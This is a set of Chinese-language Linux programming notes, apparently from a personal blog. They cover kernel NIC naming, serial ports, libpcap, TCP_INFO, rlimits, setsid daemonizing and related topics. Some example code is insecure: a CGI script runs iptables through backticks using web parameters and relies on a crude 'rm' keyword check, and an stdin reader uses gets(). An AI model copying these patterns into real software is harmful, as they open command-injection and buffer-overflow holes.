>                         probe_list2(unit, mca_probes, base_addr == 0) &&
>                         probe_list2(unit, isa_probes, base_addr == 0) &&
>                         probe_list2(unit, parport_probes, base_addr == 0));
>         }
> ```

Space.c 在開機時偵測 ISA, MCA, EISA, .. 這幾種類型的網卡，而 eth\[0,1,2,3,...] 這樣的順序是去查 net device list， 如果還沒有註冊，則使用 register\_netdev(dev) 來將該裝置 register 加入 list。

> ```c
> $linux/net/ethernet/eth.c
>
> /* me: alloc_etherdev 配置了一個 ethernet 的 net_device 空間
> * 並且由 ether_setup 設定 ethernet device.
> * 經由程式碼可看出，其實又呼叫了 alloc_netdev()，
> * 而在這邊，裝置的名稱直接指定為 "eth%d"，代表為 ethernet device
> * 而這裡還沒有處理 eth? 的 '?' 該是多少
> */
>
>         298 struct net_device *alloc_etherdev(int sizeof_priv)
>         299 {
>         300         return alloc_netdev(sizeof_priv, "eth%d", ether_setup);
>         301 }
> ```

alloc\_netdev 可參考 $linux/core/dev.c /\* 決定 eth? 的 '?' 是多少是在下面處理的 \*/

> ```c
> 在 register_netdev() {
>
>           /*
>            會用 dev_alloc_name(dev, dev_name) 來設定裝置的名稱 ethx，
>             而 'x' 則經由計算在該 net device list 中的位置取得。
>             該 list 的資料型態為 struct net_device。
>
>
>             等知道該裝置的名稱為何時 ex. (dev->name="eth1")
>            最後才 call register_netdevice(dev) 將該裝置加入 list 中。
>           */
>         }
> ```

\
而 PCI 網卡，如 8139too.c 也是一樣，\
在 device driver 中也是要有 call register\_netdev() 的動作。\
\
以目前的了解，核心會將網路裝置用 link list 串起來，而編號順序應只是被放入 list 中的順序而已。\
\
如果有三張同樣的網卡呢？我在 VMware 直接 dmesg 觀察三張 pcnet32 的結果，I/O address 比較小的會在前面。\
\
ex. eth0 at 0x1080\
eth1 at 0x1400\
eth2 at 0x1480\
\
後記：在我 trace 完上列這段流程之後，我才發現到，市面上已經有好幾本講 Linux kernel 網路的書，都已經有談到我上列的內容，而且內容更詳盡，於是我又去讀了這幾本書 =.=\
\
參考文獻\
1\. Understanding Linux Kernel Internals\
2\. The Linux TCP/IP Stack: Networking Embedded System\
3\. Linux Network Architecture


# Linux 序列埠程式設計

[Aaron Liao](https://web.archive.org/web/20200306075410/http://applezulab.netdpi.net/)\
\
這裡我們探討 Linux 序列埠程式設計，你需要熟悉 [C 語言](https://web.archive.org/web/20200306075410/http://www.books.com.tw/exep/assp.php/vip--af000078707/exep/prod/booksfile.php?item=0010535305)和 Linux。\
\
首先，用下列的程式來開啟序列埠。

```c
int open_port(const char *pathname) {

    /* open the pathname, ex. pathname="/dev/ttyACM0" */ 

    int serial_fd = open(pathname, O_RDWR|O_NOCTTY|O_NDELAY);

    /* fail to open the serial port */
    if(serial_fd<0) {

        if( debug ) {
            printf("%s: fail to open [%s].\n", __func__, pathname);
        }
        return -1;
    }

    printf("%s: %s, serial_fd: %3d\n", __func__, pathname, serial_fd);

    // enable the nonblocking mode for reading.
    fcntl(serial_fd, F_SETFL, FNDELAY);

    return serial_fd;
}
```

接著透過 file descriptor（檔案描述子）設定序列埠。

```c
    #include <termios.h> /* more baud rates could be found here */
    #include <fcntl.h>

    struct termios options;
    speed_t baud = B38400;

    tcgetattr(serial_fd, &options); /* Get the original setting */

    /* Setting the baudrate */
    cfsetispeed(&options, baud);
    cfsetospeed(&options, baud);

    /* enable the receiver and set local mode */
    options.c_cflag |= (CLOCAL|CREAD);

    /* setting the character size (8-bits) */
    options.c_cflag &= ~CSIZE;
    options.c_cflag |= CS8;

    /* Setting Parity Checking: NONE (NO Parity) */
    options.c_cflag &= ~PARENB;
    options.c_cflag &= ~CSTOPB;

    /* Disable Hardware flow control */
    options.c_cflag &= ~CRTSCTS;

    /* Disable Input Parity Checking */
    options.c_iflag &= ~INPCK;

    /* Disable software flow control */
    options.c_iflag &= ~(IXON|IXOFF|IXANY);

    options.c_iflag &= ~(IGNPAR|ICRNL);

    /* output raw data */
    options.c_oflag &= ~OPOST;

    /* disablestd input */
    options.c_lflag &= ~(ICANON|ECHO|ECHOE|ISIG);

    /* clean the current setting */
    tcflush(serial_fd, TCIFLUSH);

    /* Enable the new setting right now */
    tcsetattr(serial_fd, TCSANOW, &options);
```

之後的部分，如讀寫則與一般網路程式設計大同小異，可利用 descriptor 進行讀寫，以及透過 select() 函式之類的方式檢查 serial port 是否有資料可讀寫。\
select() 的使用請參考 [Beej's Guide to Network Programming 正體中文版](https://web.archive.org/web/20200306075410/http://beej-zhtw.netdpi.net/)的第七章。

參考文獻

\[1] Michael Kerrisk, [The Linux Programming Interface](https://web.archive.org/web/20200306075410/http://www.books.com.tw/exep/assp.php/vip--af000078707/exep/prod/booksfile.php?item=F011849348), 2010.\
\[2] Michael R. Sweet, Serial Programming Guide for POSIX Operating Systems, 5th Edition.


# loop device 的數目

Linux kernel 預設的 loop device 數目最多只可以同時使用 8 個 loop devices,

因此可以修改核心 $src/linux/drives/block/loop.c

將 max\_loop 的值，由 8 改為所需要的值，範圍在1 \~ 255

並且重新編譯核心即可。


# Perl & LWP

Perl and LWP 介紹的是以 LWP module 設計網頁相關的程式，可以用 Perl \[2] 設計程式自動填寫網頁表格，自動解析網頁內容、圖片等資料。而作者也提供了修正錯誤的線上版本 \[3] 供我們閱讀。Apache2 已經和 Perl 整合在一起: libapache2-mod-perl2。\
其他實用的工具：\
FastCGI \[5] 支援了 C/C++/Perl/Java 等語言的函式庫(library)。\
\
libcgi：用 C 寫 CGI 的函式庫。\
\
libwww-perl\[4] 也是用來寫網頁相關的函式庫。\
\
最好用的線上文件：man manual<br>

> \
> $ man LWP\
> $ man LWP::Simple\
> $ man LWP::Protocol\
> ...

\
Perl Net module 用來寫 FTP client 的範例，可以看的出來，用 Perl 寫程式很方便。<br>

> ```perl
> #!/usr/bin/perl -w
>
> require Net::FTP;
>
> my $host="FTP IP 位址";
> my $user="FTP 帳號";
> my $pass="FTP 密碼";
>
> $ftp = Net::FTP->new($host, Debug=> 0)|| die "can not connect to $host.";
>
> $ftp->login("$user", "$pass");
> print $ftp->message;
> $ftp->list;
> print $ftp->message;
> $ftp->quit;
> print $ftp->message;
>
> exit 0;
> ```

> \[1] Sean M. Burke, Perl and LWP, O'Reilly Inc., 2002.\
> \[2] Perl, <http://www.perl.org/.\\>
> \[3] Perl and LWP Online 2007, <http://lwp.interglacial.com/.\\>
> Mirror: <http://lovezutto2.googlepages.com/lwpbook.zip.\\>
> \[4] libwww-perl, <http://ftp.ics.uci.edu/pub/websoft/libwww-perl/.\\>
> \[5] FastCGI, <http://www.fastcgi.com/drupal/>.


# Remote Control over CGI

Requirement: miniserv \[1] (lightweight web server) and bashlib \[2]

```shell
#!/bin/bash

. /usr/local/bin/bashlib
DIP=`param ip`
ODPORT=`param odport`
IDPORT=`param idport`
echo "<pre>"
if [ "$DIP" == "" ]; then
  echo "no IP"
  exit
fi
if [ "$ODPORT" == "" ]; then
  echo "no ODPORT"
  exit
fi
if [ "$IDPORT" == "" ]; then
  echo "no ODPORT"
  exit
fi

REMOTE_ADDR=`echo $REMOTE_ADDR|sed s'/[^0-9.]\{1,15\}//g'`
ODPORT=`echo $ODPORT|sed s'/[^0-9]\{1,5\}//g'`
DIP=`echo $DIP|sed s'/[^0-9.]\{1,15\}//g'`
IDPORT=`echo $IDPORT|sed s'/[^0-9]\{1,5\}//g'`

CMD="/sbin/iptables -t nat -I DDNAT -p tcp -s $REMOTE_ADDR --dport $ODPORT -j DNAT --to $DIP:$IDPORT"
echo "$CMD"|grep "rm"
if [ $? -eq 0 ]; then
  echo "illegal instruction: $CMD"
fi
echo $CMD
`$CMD`
echo "</pre>"
#setll
```

1. miniserv, [http://sourceforge.net/projects/miniserv/](https://web.archive.org/web/20200306075435/http://sourceforge.net/projects/miniserv/)
2. bashlib project, [http://bashlib.sourceforge.net/](https://web.archive.org/web/20200306075435/http://bashlib.sourceforge.net/).


# 偵測 NAT 內部主機連線狀況

偵測 NAT 內部主機連線狀況，如果斷線，E-mail 通知 admin

```shell
#!/bin/bash

## need to install postfix first

DEBUG=0

echo "120" > /proc/sys/net/ipv4/netfilter/
ip_conntrack_generic_timeout


LOG="/proc/net/ip_conntrack"
SERV_IP="60.199.220.6"
MSG_FROM="140.116.177.231"
CLI_IP1="192.168.50.37"
CLI_IP2="192.168.50.38"
det1=0
det2=0
f_old_det1="/tmp/old_det1"
f_old_det2="/tmp/old_det2"
mail_content="/tmp/mail"
admin="aaron@netdpi.net"


touch $f_old_det1
touch $f_old_det2

old_det1=`cat $f_old_det1`
old_det2=`cat $f_old_det2`

det1=`cat $LOG|grep $SERV_IP|grep $CLI_IP1|grep ESTABLISH|wc -l`
det2=`cat $LOG|grep $SERV_IP|grep $CLI_IP2|grep ESTABLISH|wc -l`

if [ $DEBUG -eq 1 ]; then

       echo "old_det1: $old_det1"
       echo "old_det2: $old_det2"
       echo "det1: $det1"
       echo "det2: $det2"

fi

echo $det1 > $f_old_det1
echo $det2 > $f_old_det2


cat /dev/null > $mail_content

echo "MSG FROM: $MSG_FROM" >> $mail_content
echo -n "Detection date: " >> $mail_content
echo
date >> $mail_content


if [ $det1 -lt 2 ]; then

       echo "$CLI_IP1 disconnect!" >> $mail_content

else
       echo "$CLI_IP1 connect!" >> $mail_content

fi

if [ $det2 -lt 2 ]; then

       echo "$CLI_IP2 disconnect!" >> $mail_content

else

       echo "$CLI_IP2 connect!" >> $mail_content

fi

MAIL_FLAG=0

if [ "$det1" != "$old_det1" ]; then

       MAIL_FLAG=1
fi

if [ "$det2" != "$old_det2" ]; then

       MAIL_FLAG=1
fi

if [ $MAIL_FLAG -ne 0 ]; then

       mail -s "[note] JS Detection `date +%y/%m/%d-%H:%M`" $admin < $mail_content

fi

exit 0;shell
```


# 利用 libpcap 取得所有的網路裝置名稱

利用 libpcap 的 function 來尋找目前 Linux 系統上所有的網路卡裝置名稱，\
\
1\. 需要安裝 libpcap 才能使用 libpcap，下面是編譯的方法：<br>

> \# gcc search\_dev.c -o search\_dev -lpcap

執行結果：<br>

> \# ./search\_dev\
> eth0\
> any\
> lo

```c
/* libpcap */
/* Author: Aaron Liao */

#include<stdio.h>
#include<pcap.h>

int main(void)
{
        pcap_if_t       *dev, *ptr;
        char errbuf[PCAP_ERRBUF_SIZE];

        pcap_findalldevs(&dev, errbuf);

        for(ptr=dev; ptr != NULL; ptr = ptr->next){
                printf("%s\n", ptr->name);
        }

        pcap_freealldevs(dev);

        return 0;

}
```

其 實用 libpcap 有一些特別的好處，就是寫出來的程式可以在 libpcap 有支援的平台上直接使用 \[1]，例如可以在 linux 跟 freebsd 上通用，因為若是在 Linux 寫 link layer socket，是使用 PF\_PACKET, 例如：\
\
新寫法：<br>

> socket(PF\_PACKET, SOCK\_RAW, ... )；

舊寫法:<br>

> socket(AF\_INET, SOCK\_PACKET, ... );

例如要接收所有 datalink layer frames 可以這麼寫：<br>

> socket(PF\_PACKET, SOCK\_RAW, htons(ETH\_P\_ALL));\
> socket(AF\_INET, SOCK\_PACKET, htons(ETH\_P\_ALL));

若是只接收 IPv4 frames,<br>

> socket(PF\_PACKET, SOCK\_RAW, htons(ETH\_P\_IP));\
> socket(AF\_INET, SOCK\_RAW, htons(ETH\_P\_IP));

而在 bsd 上面則是使用 bsd packet filter (BPF)\
\
而使用 libpcap 寫程式，好處就是只要使用 libpcap 提供的 function，\
而不需要在意各系統平台的 socket 呼叫方法。\
\
\[1] Richard Steven, UNIX Network Programming, Volume 2, Second Edition: Interprocess Communications, Prentice Hall, 1999, ISBN 0-13-081081-9.


# 取得時間

```c
#include <time.h>

/* Error: return NULL 
 * Or return the string of time
 */
char * get_time(void)
{
    time_t t;

    if( time(&t) < 0 )
        return NULL;

    return ctime( (const time_t *) &t );

}
```


# strncpy

這是一個 strncpy 的範例：

```c
int safe_strncpy(char *dst, char *src, int len)
{
    int count=0;
    if(len <1) return 1;

     // Null pointer is dangerous.
    if( dst==NULL || src == NULL ) return (-1);
    
    for(count=0; count<len; count++) {
        dst[count]=src[count];
        if(src[count]=='\0') break; /* String end of str */
    }

     return 0;
}
```


# 從應用層程式取得傳輸層 TCP 資訊

Aaron Liao，2014\
目的：\
\
當設計伺服器網路應用程式時，由於應用層本身並沒有網路底層的資訊，因此當有異常發生時，無法立即直接知道連線的資訊，通常需要藉由評估資料收送狀況、逾時（timeout）等方式間接得知。若伺服器應用程式可以取得得知目前 TCP 的狀態，就能知道連線是否還存在著，即使只是 TCP 連線狀態的改變，都能清楚知曉，而伺服器能提早對該連線進行處理。\
\
我們可以在 netinet/tcp.h 表頭檔案找到 TCP 資訊的定義。（在 Linux 系統的絕對路徑位於 /usr/include/netinet/tcp.h）。\
\
若你想要取得 TCP 連線的狀態，你可以引用這個表頭檔。\ <br>

```c
#include <netinet/tcp.h> 

50 #define TCP_INFO         11 /* Information about this connection. */   
```

\
這邊是 TCP 資訊的資料結構 \ <br>

```c
199 struct tcp_info 
200 { 
201   u_int8_t  tcpi_state; 
202   u_int8_t  tcpi_ca_state; 
203   u_int8_t  tcpi_retransmits; 
204   u_int8_t  tcpi_probes; 
205   u_int8_t  tcpi_backoff; 
206   u_int8_t  tcpi_options; 
207   u_int8_t  tcpi_snd_wscale : 4, tcpi_rcv_wscale : 4; 
208 
209   u_int32_t tcpi_rto; 
210   u_int32_t tcpi_ato; 
211   u_int32_t tcpi_snd_mss; 
212   u_int32_t tcpi_rcv_mss; 
213 
214   u_int32_t tcpi_unacked; 
215   u_int32_t tcpi_sacked; 
216   u_int32_t tcpi_lost; 
217   u_int32_t tcpi_retrans; 
218   u_int32_t tcpi_fackets; 
219 
220   /* Times. */ 
221   u_int32_t tcpi_last_data_sent;
222   u_int32_t tcpi_last_ack_sent; /* Not remembered, sorry.  */ 
223   u_int32_t tcpi_last_data_recv; 
224   u_int32_t tcpi_last_ack_recv; 
225 
226   /* Metrics. */ 
227   u_int32_t tcpi_pmtu; 
228   u_int32_t tcpi_rcv_ssthresh; 
229   u_int32_t tcpi_rtt; 
230   u_int32_t tcpi_rttvar; 
231   u_int32_t tcpi_snd_ssthresh; 
232   u_int32_t tcpi_snd_cwnd; 
233   u_int32_t tcpi_advmss; 
234   u_int32_t tcpi_reordering; 
235 
236   u_int32_t tcpi_rcv_rtt;
237   u_int32_t tcpi_rcv_space; 
238 
239   u_int32_t tcpi_total_retrans; 
240 }; 
```

\
// Enum of TCP status\ <br>

```c
136 enum
137 {
138   TCP_ESTABLISHED = 1,
139   TCP_SYN_SENT,
140   TCP_SYN_RECV,
141   TCP_FIN_WAIT1,
142   TCP_FIN_WAIT2,
143   TCP_TIME_WAIT,
144   TCP_CLOSE,
145   TCP_CLOSE_WAIT,
146   TCP_LAST_ACK,
147   TCP_LISTEN,
148   TCP_CLOSING   /* now a valid state */
149 };
```

\
這邊用一個簡單的函式範例來說明如何取得 TCP 資訊。如果你的程式中的 socket descriptor 名為 sd，那麼你就能用 getsockopt() 取得 TCP 的資訊。這邊我將 getsockopt() system call 包到 get\_tcp\_state() 函式，而 get\_tcp\_state() 函式就會將 sd socket descriptor 的 TCP 的狀態傳回。\ <br>

```c
int get_tcp_state(int sd)
{
    struct tcp_info t_info; /* the data structure of the TCP information */
    socklen_t t_info_len = sizeof(t_info); 

    if( getsockopt( sd, IPPROTO_TCP, TCP_INFO, &t_info, &t_info_len) != -1) {

        return t_info.tcpi_state; /* the state of the 'sd' TCP connection */
    }

    return -1;
}
```

<br>


# 於 Linux 上撰寫 daemon server 要注意的

要撰寫一個網路伺服器 Deamon，一般要注意掌控 fork() 所產生的子行程 (child process) 數目，因此程式中需要記錄以對子行程的數目進行限制，以預防有人惡意的不斷送出僅設有 SYN flag 的 TCP SYN 封包(packet)，導致 TCP 三向交握(Three-way handshaking)無法正常完成，而 Daemon 只能不斷停留在等待 SYN-ACK，最後耗盡系統資源，導致系統完全當機(crash)。\
\
ulimit -Ha 與 ulimit -Sa 來檢視目前系統的硬限制(Hard limit)與軟限制(Soft limit) 的值：

> \# ulimit -Sa\
> core file size (blocks, -c) 0\
> data seg size (kbytes, -d) unlimited\
> file size (blocks, -f) unlimited\
> max locked memory (kbytes, -l) unlimited\
> max memory size (kbytes, -m) unlimited\
> open files (-n) 1024\
> pipe size (512 bytes, -p) 8\
> stack size (kbytes, -s) 8192\
> cpu time (seconds, -t) unlimited\
> max user processes (-u) unlimited\
> virtual memory (kbytes, -v) unlimited\
> \
> \# ulimit -Ha\
> core file size (blocks, -c) unlimited\
> data seg size (kbytes, -d) unlimited\
> file size (blocks, -f) unlimited\
> max locked memory (kbytes, -l) unlimited\
> max memory size (kbytes, -m) unlimited\
> open files (-n) 1024\
> pipe size (512 bytes, -p) 8\
> stack size (kbytes, -s) unlimited\
> cpu time (seconds, -t) unlimited\
> max user processes (-u) unlimited\
> virtual memory (kbytes, -v) unlimited<br>

\
根據 man bash 對 ulimit hard limit 與 soft limit 的描述，他們的功用在於，hard limit 一旦設定之後就無法在增加該參數的值，而 soft limit 則是最多可以增加到與 hard limit 的值一樣多，還有就是 hard limit 是需要管理員權限(super user)才能更動的。\
\
像上例，就有個很明顯的 open files，這個項目的值就表示 Linux 預設一個行程可開啟的 file descriptor 數目是 1024 個，如果我們沒有更改這個值，那我們的程式最多只能開啟 1024 個檔案而已。\
\
除了檔案，由於 Linux 中開啟某裝置都是抽象化分層了，於是像開啟某個檔案一般，開啟的 socket 連線數也是受制於檔案的開啟數目，所以如果要讓 server 可以接受大於 1024 的連線，則需要修改這個值。\
\
有幾個系統呼叫 (system call)，可以寫在程式中更動這些預設值：\
\
ulimit()、getrlimit()/setrlimit()，其中後兩者是用來取代 ulimit() 的。\
\
下列是 getrlimit/setrlimit 系統呼叫的函式原型(prototype)：

> int getrlimit(int resource, struct rlimit);\
> int setrlimit(int resource, const struct rlimit \*rlim);<br>

\
其中 resource 是所要更動的項目選項，如我們想更動可開啟檔案的個數，則可修改 RLIMIT\_NOFILE，如 setrlimit( RLIMIT\_NOFILE, \&rlim);\
\
Man manual for details:\
$ man 2 getrlimit\
$ man 2 setrlimit\
\
細節可參考 manual:\
$ man 2 getrlimit\
$ man 2 setrlimit\
\
下列為 rlimit 的 structure：\
struct rlimit{\
&#x20;   rlimit\_t rlimit\_cur; // Soft-limit\
&#x20;   rlimit\_t rlim\_max; // Hard-limit\
};\
\
下面用一個簡單的範例，來呈現如何使用 getrlimit/setrlimit 取得與設定，這個範例，首先會用 getrlimit 取得目前可開啟檔案的 soft limit 與 hard limit，然後，再用 setrlimit 設定希望的值，最後再用 getrlimit 重新取得一次確認修改結果。

```c
// test.cpp
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <iostream>

using namespace std;

int main(void)
{
  struct rlimit limit;
  const struct rlimit mit = { 2048, 600000 };

  getrlimit(RLIMIT_NOFILE, &limit);
  cout << "Current: " << limit.rlim_cur << endl;
  cout << "Max: " << limit.rlim_max << endl;

  setrlimit(RLIMIT_NOFILE, &mit);

  getrlimit(RLIMIT_NOFILE, &limit);
  cout << "Current: " << limit.rlim_cur << endl;
  cout << "Max: " << limit.rlim_max << endl;

  return 0;
}
```

\
編譯:&#x20;

> g++ test.cpp -o test<br>

\
執行結果：

> \# ./test\
> Current: 1024\
> Max: 1024\
> Current: 2048\
> Max: 600000<br>

\
除了 RLIMIT\_NOFILE，其他還有如 RLIMIT\_NPROC (最大行程數目)、RLIMIT\_FSIZE (最大檔案大小)等都是需要注意的項目，關於 resource 的完整選項可以在 Linux /usr/include/bits/resource.h 找到。\
\
還有一個可查詢目前系統限制的函式，sysconf(int name)\
\
比如可以使用 sysconf( \_SC\_OPEN\_MAX ) 來查詢目前可開啟的最大檔案個數，細節請 man 3 sysconf，完整的參數有上百個，一樣是可以在 /usr/include/bits/confname.h 找到。\
\
Client 的部份則是要注意 connect timeout 問題，TCP sender 要注意 sned() 之傳回值，send 與 recv 可配合 select() 使用。\
\
PS: 設定 limit 雖然可以避免資源被耗盡，但是，該 sshd 服務等同於受到阻斷式攻擊，導致其他使用者無法連線，該怎麼辦呢?\
\
參考文獻：\
John Shapley Gray, [Interprocess Communications in Linux: The Nooks and Crannies](https://web.archive.org/web/20200306075425/http://www.amazon.com/gp/product/0130460427/ref=as_li_tf_tl?ie=UTF8\&camp=1789\&creative=9325\&creativeASIN=0130460427\&linkCode=as2\&tag=apla0fb9-20), Chap 2.9, Pearson Education, 2003.


# 為什麼需要 & 0377

在 Linux 系統中，我在許多 C 的程式碼中發現到有使用 &0377 的用法，這是什麼樣的目的呢？\
\
0377 是個八進位的數值，當我們將 0377 以二進制呈現，則是 11111111，而十進制是 255； \
\
在 C 語言中，unsigned char 型別的值域是 0 \~ 255；而 signed char 則是 -128 \~ 127。\
\
那麼，在下列的這個範例，這麼做有什麼意義呢？\
\
unsigned char a=128; /\* 1000 0000 \*/\
a= a &0377;\
\
1000 0000 & 1111 1111 的運算結果是 1000 0000。\
\
一開始，我不曉得這麼做的目的。\
\
於是，我發現 net-tools 的程式碼也出現了 &0377，如下：\ <br>

```c
net-tools-1.60/lib/ether.c
37 /* Display an Ethernet address in readable format. */
38 static char *pr_ether(unsigned char *ptr)
39 {
40     static char buff[64];
41
42     snprintf(buff, sizeof(buff), "%02X:%02X:%02X:%02X:%02X:%02X",
43              (ptr[0] & 0377), (ptr[1] & 0377), (ptr[2] & 0377),
44              (ptr[3] & 0377), (ptr[4] & 0377), (ptr[5] & 0377)
45         );
46     return (buff);
47 }
```

\
\
我在猜想著，還是 &0377 會讓編譯器做了什麼樣的型別轉換嗎？&#x20;

> 最後，我從[Sflam 的說法](https://web.archive.org/web/20200306075455/http://www.programmer-club.com/pc2020v5/forum/ShowSameTitleN.asp?%20URL=N\&board_pc2020=c\&id=30709)找到一個比較合理的解釋，例如：在 Motorola DSP56300 中，一個 byte 的長度是 24 個 bits，因此，&0377 (1111 1111) 的目的是確保對其它的位元都有清為零（mask）。

\
在 C 語言中，char\_bit 是 8 個 bits，然而，並非每個硬體裝置都將一個 byte 以 8 個 bits 為單位。\
\
如果您有較好的理由，請告訴我，謝謝。


# 研究 setsid()

假設我們一開始建立了一個行程(process)，那麼該行程若以 fork()複製出一個相同的行程，稱之為子行程(child proccess)，而產生子行程的行程則稱為父行程(parent process)，這是行程之間的父子關係。\
\
最早的父行程具有行程領導者(process leader)的地位，行程領導者的 PID (Process ID)就是該行程家族群組的群組 ID (group ID)。總之，只要都是最早的父行程或其後代所產生的子行程都會繼承相同的群組 ID，而 Linux kernel 會根據該群組 ID，將訊號送給各行程群組。\
&#x20;\
\- system call<br>

> getpgid() 與 getpgrp()：取得該行程的群組 ID\
> getpid(): 取得該行程的 PID\
> getppid(): 取得該行程之父行程的 PID\
> setpgid(): 將指定的 PID 設定為該行程的群組 ID，若 PID 為 0，則使用該行程 PID。\
> setsid(): 將該行程設定為 session leader 與行程領導者。\
> getsid()

\
/\* man 2 setsid for details \*/

> ```c
> #include <stdlib.h>
> #include <sys/types.h>
> #include <unistd.h>
>
> int main(void)
> {
>     if(fork()>0) {
>       printf("p getpid: %d\n", getpid());
>       printf("p geppid: %d\n", getppid());
>       printf("p getpgrp: %d\n", getpgrp());
>       printf("p setsid: %d\n", setsid());
>       printf("p getpgrp: %d\n", getpgrp());
>       printf("p geppid: %d\n", getppid());
>     } else {
>       printf("gepid: %d\n", getpid());
>       printf("geppid: %d\n", getppid());
>       printf("getpgrp: %d\n", getpgrp());
>       printf("setsid: %d\n", setsid());
>       printf("getpgrp: %d\n", getpgrp());
>       printf("geppid: %d\n", getppid());
>     }
>
>       return 0;
> }  
> ```

> \# gcc test.c -o test

> \# ./test\
> gepid: 3899\
> geppid: 3898\
> getpgrp: 3898 <-----\
> setsid: 3899\
> getpgrp: 3899 <-----\
> geppid: 3898\
> p getpid: 3898 <-----\
> p geppid: 3697\
> p getpgrp: 3898\
> p setsid: -1\
> p getpgrp: 3898\
> p geppid: 3697

\
由結果觀察到，經過 setsid 之後的子行程已經自己成家立業，有自己的行程群組，而不再與原本的父行程同一個行程群組。\
\
PS: 這裡所謂的行程群組與行程所屬的使用者群組是不一樣。\
\
參考文獻\
John Shapley Gray, Interprocess Communications in Linux: The Nooks and Crannies, Chapter 2, 2003.


# 與 HTTP 協定有關的 RFC

| <p>RFC 1521, MIME (Multipurpose Internet Mail Extensions): <http://www.rfc-editor.org/rfc/rfc1521.txt> <br>RFC 1808, Relative Uniform Resource Locators: <http://www.rfc-editor.org/rfc/rfc1808.txt> <br>RFC 1945, HTTP/1.0: <http://www.rfc-editor.org/rfc/rfc1945.txt> <br>RFC 2109, HTTP State Management Mechanism: <http://www.rfc-editor.org/rfc/rfc2145.txt> <br>RFC 2246, The TLS Protocol: <http://www.rfc-editor.org/rfc/rfc2246.txt> <br>RFC 2396, Uniform Resource Identifiers (URI): Generic Syntax: <http://www.rfc-editor.org/rfc/rfc2396.txt> <br>RFC 2518, HTTP Extensions for Distributed Authoring: <http://www.rfc-editor.org/rfc/rfc2518.txt> <br>RFC 2585, Internet X.509 Public Key Infrastructure: <http://www.rfc-editor.org/rfc/rfc2585.txt> <br>RFC 2616, HTTP/1.1: <http://www.rfc-editor.org/rfc/rfc2616.txt> <br>RFC 2617, Basic and Digest Access Authentication: <http://www.rfc-editor.org/rfc/rfc2617.txt> <br>RFC 2774, HTTP Extension Framework: <http://www.rfc-editor.org/rfc/rfc2774.txt> <br>RFC 2817, Upgrading to TLS Within HTTP/1.1: <http://www.rfc-editor.org/rfc/rfc2817.txt> <br>RFC 2818, HTTP Over TLS: <http://www.rfc-editor.org/rfc/rfc2818.txt> <br>RFC 2964, Use of HTTP State Management: <http://www.rfc-editor.org/rfc/rfc2964.txt> <br>RFC 2965, HTTP State Management Mechanism: <http://www.rfc-editor.org/rfc/rfc2965.txt> <br>RFC 3253, Versioning Extensions to WebDAV: <http://www.rfc-editor.org/rfc/rfc3253.txt> <br><br>參考文獻： Chris Shiflett, HTTP Developer's Handbook.</p> |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |


# 製作 patch 檔

例如：

old.c 是舊的程式原始碼，new\.c是修改過的新程式碼，

只要使用 diff 就能夠製作出patch檔

diff old.c new\.c -Naur > patch.sample

拿到 patch 檔的人只要下這行指令，便可以將他手中的old.c 更新為與 new\.c 一樣的程式碼。

patch -p0 < patch.sample 如果目錄中有多個原始檔，也可以整個目錄 diff # diff DirA DirB -Naur > patch.sample


# 設計在背景執行的 Linux 程式

下面這段 vsftpd 的 source code ，就是使 vsftpd 啟動後，在背景執行的方法：

```c
54
55   /*
56    * tracing date : 2006-10-17
57    */
58   if (tunable_background)
59   {
60       /*
61        * fork()
62        */
63     int forkret = vsf_sysutil_fork();
64     if (forkret > 0)
65     {
66       /* Parent, just exit */
67       vsf_sysutil_exit(0);
68     }
69
70     /*
71      * 2006-10-17 - so.. setsid()
72      */
73     vsf_sysutil_make_session_leader();
74   }
75
```

\
方法是，透過 fork() child process，以 setsid() 讓 child process 成為 process leader，有自己的 process group，\
\
parent process 單純結束，下面是 vsf\_sysutil\_make\_session\_leader() \
\
vsftpd-2.0.3/sysutil.c<br>

```c
2463
2464 void
2465 vsf_sysutil_make_session_leader(void)
2466 {
2467   /* This makes us the leader if we are not already */
2468   (void) setsid();
2469   /* Check we're the leader */
2470   if (getpid() != getpgrp())
2471   {
2472     die("not session leader");
2473   }
2474 }
2475
```

\
**參考文獻**\
Douglas E. Comer, David L. Stevens, [Internetworking with TCP/IP, Vol. III: Client-Server Programming and Applications, Linux/Posix Sockets Version](https://web.archive.org/web/20200306075259/http://www.amazon.com/gp/product/0130320714/ref=as_li_tf_tl?ie=UTF8\&camp=1789\&creative=9325\&creativeASIN=0130320714\&linkCode=as2\&tag=apla0fb9-20), Vol. 3, Chap. 30, 2000.


# 讀取 STDIN (Standard INPUT) 範例程式

```c
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

/* return value:
 * END_OF_FILE: End of File
 * More than 0: read bytes from stdin
 * Less than 0: error
 * 0 : nodata
 */
int get_stdin(int block, char *buf, int buflen)
{
    /* man 2 select, for details */
    struct timeval tv;
    fd_set    rfds;
        int retval;
    char *ret;

    tv.tv_sec = TIME_OUT_S;
    tv.tv_usec = TIME_OUT_US; 

        /* Watch stdin (fd 0) to see when it has input. */
        FD_ZERO(&rfds);
        FD_SET( STDIN, &rfds);

    if(block) 
        retval = select( ( STDIN + 1), &rfds, NULL, NULL, &tv);
    else
            retval = select( ( STDIN + 1), &rfds, NULL, NULL, NULL);
        /* Don't rely on the value of tv now! */

    //} else if( FD_ISSET( STDIN, &rfds) ) {

    if( retval > 0 ) {

        bzero(buf, buflen);

        /* read() retval:0 endoffile, retval:-1 error*/

        /* gets() ignore the newline and ENDOFFILE */
        ret = gets( buf );

        if(ret == NULL)
            return END_OF_FILE;
    } 

    /* error: -1 , no data: 0, read bytes number */ 
    return retval;

}c
```


# 關於 Linux CPU smp\_affinity

Aaron Liao, 2014\
Linux kernel 中，對於 SMP (multi-core) 內建的支援功能

&#x20; \
Linux Kernel Documentation::IRQ.txt

